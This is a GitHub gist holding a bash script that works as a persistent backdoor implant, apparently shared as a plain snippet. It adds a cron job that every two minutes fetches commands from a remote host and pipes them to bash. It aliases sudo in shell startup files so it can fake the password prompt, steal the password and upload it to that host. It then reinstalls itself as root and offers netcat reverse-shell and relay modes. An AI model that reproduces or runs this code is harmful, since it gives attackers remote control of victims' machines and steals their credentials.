Skip to content

Instantly share code, notes, and snippets.

@sjoness
Created August 8, 2013 09:17
Show Gist options
  • Save sjoness/6183071 to your computer and use it in GitHub Desktop.
Save sjoness/6183071 to your computer and use it in GitHub Desktop.
#!/bin/bash
HOST="[redacted]"
SSL=false
if test -z "$1"; then
echo "Incorrect usage for $0"
exit 1
fi
PATH=`dirname $0`:$PATH
function get {
if type -P wget >/dev/null; then
wget -q --no-check-certificate -O - $1
elif type -P curl >/dev/null; then
curl --silent -L $1
fi
}
function gets {
if $SSL == true; then
get "https://${HOST}/`hostname`/`whoami`/${1}"
else
get "http://${HOST}/`hostname`/`whoami`/${1}"
fi
}
function location { echo $(cd ${0%/*} && pwd -P)/`basename $0`; }
function reverse {
mkfifo backpipe
nc $1 $2 0<backpipe | nc $3 $4 1>backpipe
rm backpipe
}
case $1 in
remove)
# Uninstall any related cronjobs
crons_loc="crontab -l | grep -v `location`"
crons=`$crons_locs`
crontab -r
echo "$crons" | crontab
# Uninstall any related entries in .bashrc or .profile.
if [ -f $HOME/.bashrc ]; then cat $HOME/.bashrc | grep -v `location` > $HOME/.bashrc; fi
if [ -f $HOME/.profile ]; then cat $HOME/.profile | grep -v `location` > $HOME/.profile; fi
rm `location` # And finally remove this file.
;;
install)
`location` install-cron;;
install-cron)
echo "*/2 * * * * `location` checkin" | crontab;;
install-sudo)
if [ -f $HOME/.bashrc ]; then echo alias sudo=\"`location` sudo \$@\" >> ~/.bashrc; fi
if [ -f $HOME/.profile ]; then echo alias sudo=\"`location` sudo \$@\" >> ~/.profile; fi
;;
sudo)
if test -z "$2"; then # We have no arguments, should display sudo help
/usr/bin/sudo
else
/usr/bin/sudo -k > /dev/null # Force sudo to need a password next time.
sudo_password=`echo "" | sudo -S ls 2>&1 | head -n 1`
sudo_incorrect=`echo "" | sudo -S ls 2>&1 | head -n 2 | tail -n 1`
/bin/stty -echo
printf $sudo_password
read -e password
/bin/stty echo
echo ""
# Is the password correct?
echo $password | sudo -S printf "" 2> /dev/null
if [ $? == 1 ]; then
echo $sudo_incorrect
exec $0 $@ # execute this again (another password attempt)
exit 0
fi
gets "sudo/${password}/" # Upload the password
# Install ourselfs to root
echo $password | sudo -S cp $0 /usr/bin/swarm
echo $password | sudo -S /usr/bin/swarm install
if [ $? == 0 ]; then $0 remove ; fi # If we installed correctly, then remove ourselfs.
unalias sudo
echo $password | /usr/bin/sudo -S $@ # And finally run the read sudo :)
fi
;;
checkin)
gets | bash
;;
info)
gets "`uname -s`/`uname -r`/" | cat
;;
reverse-shell)
nc -e /bin/sh $2 $3 </dev/null &>/dev/null &
;;
reverse)
reverse $2 $3 $4 $5 </dev/null &>/dev/null &
;;
esac
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment